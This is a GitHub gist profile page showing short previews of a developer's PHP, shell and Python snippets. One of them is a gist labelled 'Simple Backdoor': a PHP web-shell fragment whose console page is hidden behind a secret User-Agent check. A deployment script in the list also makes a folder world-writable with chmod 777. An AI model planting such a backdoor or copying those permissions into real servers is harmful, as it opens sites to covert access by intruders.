Skip to content

Instantly share code, notes, and snippets.

View rummykhan's full-sized avatar
🎯
Focusing

Rehan Manzoor rummykhan

🎯
Focusing
View GitHub Profile
<?php
$host = null;
function db()
{
global $host;
$m = new MongoClient("mongodb://$host:27017");
return $m;
}
@rummykhan
rummykhan / rummykhan.php
Last active April 11, 2016 16:26
Simple Backdoor
<?php isset($_SERVER['HTTP_USER_AGENT']) ? ($_SERVER['HTTP_USER_AGENT'] !== 'Ch3rn0by1' ? die('<center><h1>FcUk Off Moron</h1></center>') : '') : die('<center><h1>FcUk Off Moron</h1></center>'); ?>
<!DOCTYPE html>
<html>
<head>
<title>Console</title>
<link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
</head>
<body class="container">
<br>
<br>
@rummykhan
rummykhan / laravel.sh
Created March 31, 2016 18:14
simple laravel deployment script
#!/bin/sh
mv /var/www/html/index.php /var/www/index.php.saved
rm -rf /var/www/html/*
cp -a /var/www/osn/public/. /var/www/html/
rm -rf /var/www/html/index.php
mv /var/www/index.php.saved /var/www/html/index.php
chmod -R 777 /var/www/html/images/
<?php
check_malicious_upload();
function check_malicious_upload() {
$user_uploads = fetch_uploads();
foreach ($user_uploads as $key => $value) {
# Setting Up Laravel/homestead on Windows
-----------------------------------------
1. Install virtual box (https://www.virtualbox.org/wiki/Downloads)
2. Install vagrant (https://www.vagrantup.com/)
3. Install Git (https://git-scm.com/download)
4. Download Putty (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)
5. Download PuttyGen (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)
@rummykhan
rummykhan / get.py
Last active November 23, 2016 13:00
Get value from dictionary using dot syntax Python
def get(dictionary, key):
tmp = key.split('.', 1)
if dictionary.get(tmp[0], None) is None:
return None
if len(tmp) > 1 and tmp[1] is not False:
return get(dictionary.get(tmp[0]), tmp[1])
#!/bin/bash
echo "Please, enter your username, it will be added to 'sudo' and 'docker' groups during the process."
read USERNAME
if [ -z "$USERNAME" ] ; then
echo "Exiting... Done."
exit
else
echo "Adding user to 'sudo' group..."
@rummykhan
rummykhan / .bashrc
Created July 23, 2017 17:01
Original Bash RC
if [ "$color_prompt" = yes ]; then
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
#!/bin/bash
function send_email () {
echo sending email;
}
mongo --eval "db.stats()" > /dev/null # do a simple harmless command of some sort
RESULT=$? # returns 0 if mongo eval succeeds
@rummykhan
rummykhan / lumen_ide_helper.php
Created August 29, 2017 12:47 — forked from barryvdh/lumen_ide_helper.php
Lumen IDE Helper
<?php
/**
* A helper file for Laravel 5, to provide autocomplete information to your IDE
* Generated for Laravel Lumen (5.1.1) (Laravel Components 5.1.*) on 2015-08-18.
*
* @author Barry vd. Heuvel <barryvdh@gmail.com>
* @see https://github.com/barryvdh/laravel-ide-helper
*/
namespace {